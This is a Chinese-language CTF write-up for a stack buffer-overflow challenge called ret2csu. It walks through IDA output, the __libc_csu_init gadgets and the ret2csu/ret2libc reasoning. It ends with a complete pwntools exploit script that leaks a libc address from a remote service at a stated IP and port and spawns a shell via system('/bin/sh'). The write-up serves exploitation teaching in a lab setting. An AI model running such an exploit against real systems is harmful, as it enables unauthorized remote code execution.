看一下保护机制

再拖到ida里看一下
int __cdecl main(int argc, const char **argv, const char **envp){ setbuf(stdin, 0LL); setbuf(stderr, 0LL); setbuf(_bss_start, 0LL); write(1, "Start Your Exploit!\n", 0x14uLL); vuln(); return 0;}ssize_t vuln(){ char buf[256]; // [rsp+0h] [rbp-100h] BYREF
write(1, "Input:\n", 7uLL); read(0, buf, 0x200uLL); return write(1, "Ok.\n", 4uLL);}主体部分非常简洁 但是没有任何后门函数和泄露真实地址的地方
一开始我们会想自己构造rop链
通过ROPgadget来寻找rdi rsi rdx三个寄存器的传参汇编地址
我们来看一下能否找到我们想要的汇编

可以看到并没有rdx
但是仍然还存在一种可能,我们gdb看一下当我们read数据的时候 rdx寄存器的值是多少

可以看到是0x4 显然没有办法成为我们调用wirte函数的参数(因为其是作为第三个参数size存在的,这样我们只能输出4个字节的数据)
所以此时我们回忆一下,有没有什么万能的rop链?欸 一想还真有 叫ret2csu(相关的介绍在栈部分里有)
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j.text:0000000000401290 mov rdx, r14.text:0000000000401293 mov rsi, r13.text:0000000000401296 mov edi, r12d.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8].text:000000000040129D add rbx, 1.text:00000000004012A1 cmp rbp, rbx.text:00000000004012A4 jnz short loc_401290.text:00000000004012A6.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j.text:00000000004012A6 add rsp, 8.text:00000000004012AA pop rbx.text:00000000004012AB pop rbp.text:00000000004012AC pop r12.text:00000000004012AE pop r13.text:00000000004012B0 pop r14.text:00000000004012B2 pop r15.text:00000000004012B4 retn我们再看一下程序给了我们哪些函数

那么思路直接有了 这里用write函数 然后通过csu汇编代码将参数传给寄存器 这样我们就能泄露出write函数的真实地址了(也可以是其他的)
泄露出来以后 就是ret2libc的知识点了 思路捋清了 直接看exp吧
from pwn import*io = remote("43.143.7.97",28657)libc = ELF("libc.so.6")elf = ELF("./ret2csu")gadget2_addr = 0x4012A6gadget1_addr = 0x401290vuln_addr = 0x401176rdi_addr = 0x4012b3write_got = elf.got['write']io.recvuntil("Input:")payload1 = cyclic(0x100+0x8)+p64(gadget2_addr)+cyclic(8)+p64(0)+p64(1)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(gadget1_addr)+cyclic(56)+p64(vuln_addr)io.sendline(payload1)io.recvuntil("Ok.\n")write_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))libc_addr = write_addr - libc.sym['write']hex(libc_addr)system_addr = libc_addr + libc.sym['system']hex(system_addr)binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))hex(binsh_addr)io.recvuntil("Input:\n")payload2 = cyclic(0x108)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+p64(vuln_addr)io.sendline(payload2)io.interactive()